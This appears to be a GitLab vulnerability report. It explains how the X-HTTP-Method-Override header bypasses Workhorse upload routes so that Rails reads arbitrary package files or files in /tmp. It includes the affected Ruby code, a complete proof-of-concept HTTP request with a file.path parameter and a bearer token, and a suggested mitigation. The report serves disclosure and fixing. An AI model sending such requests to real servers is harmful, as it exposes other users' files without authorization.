Skip to content

Workhorse bypass leads to package disclosure and file disclosure in `/tmp`

GitLab Workhorse defines a set of routes which are being intercepted before they hit the GitLab rails app.

However those routes might be bypassed by using the X-HTTP-Method-Override header. Rails will interpret this header for POST requests, GitLab Workhorse does not.

So for instance the following route:

// Conan Artifact Repository
route("PUT", apiPattern+`v4/packages/conan/`, filestore.BodyUploader(api, proxy, nil)),

The above route will process every PUT request to the conan package endpoint with the filestore.BodyUploader. This will set some parameters like file.size and file.path for the uploaded file on disk. The Rails counterpart will use the Workhorse-processed file from disk as denoted in file.path. This can be seen in ee/lib/api/helpers/packages_manager_clients_helpers.rb. The file. parameters will be processed in lib/uploaded_file.rb within the method from_params:

  def self.from_params(params, field, upload_paths)
    path = params["#{field}.path"]
    remote_id = params["#{field}.remote_id"]
    return if path.blank? && remote_id.blank?

    file_path = nil
    if path
      file_path = File.realpath(path)

      paths = Array(upload_paths) << Dir.tmpdir
      unless self.allowed_path?(file_path, paths.compact)
        raise InvalidPathError, "insecure path used '#{file_path}'"
      end
    end

    UploadedFile.new(file_path,
      filename: params["#{field}.name"],
      content_type: params["#{field}.type"] || 'application/octet-stream',
      sha256: params["#{field}.sha256"],
      remote_id: remote_id,
      size: params["#{field}.size"])
  end

Here especially the path /tmp is allowed as well as the package upload directory:

paths = Array(upload_paths) << Dir.tmpdir

Now for an actual exploit we can use a request like:

POST /api/v4/packages/conan/v1/files/Hello/0.1/lol+wat/beta/0/export/conanmanifest.txt?file.size=4&file.path=/tmp/test1234 HTTP/1.1
Host: localhost
User-Agent: Conan/1.21.0 (Python 3.8.1) python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-HTTP-Method-Override: put
X-Checksum-Deploy: true
X-Checksum-Sha1: ee96149f7b93af931d4548e9562484bdb6ac8fda
Content-Length: 4
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXQiOjExLCJ1IjoxLCJqdGkiOiIwZDYwY2EwYS1jODUzLTQzY2MtYmJhOS0xNzIzN2U0NDdhZmYiLCJpYXQiOjE1NzgzOTkzNjIsIm5iZiI6MTU3ODM5OTM1NywiZXhwIjoxNTc4NDAyOTYyfQ.-nYgtnuNI1YHwD9-STEuZc5oZD6x3eTuaE-TPsi2QCs

asdf

In the example POST me get around the Workhorse upload processing and can directly send a disk path (file.path) to Rails. Rails will interpret it as a PUT request due to the X-HTTP-Method-Override: put header. By this we can reach the upload code for the conan packages bypassing Workhorse and read other package files or files in /tmp. The targeted file will show up in the package content list as conanmanifest.txt for the example above.

To mitigate this a mechanism like the WorkhorseRequest module should be used in the affected package manager code. So that the ruby code can verify that the request originates form workhorse.

As suggested by @nick.thomas reading from /tmp is a S1 issue for certain environments. A limitation to this however is that the rails process must be able to read and write (delete) the targeted file.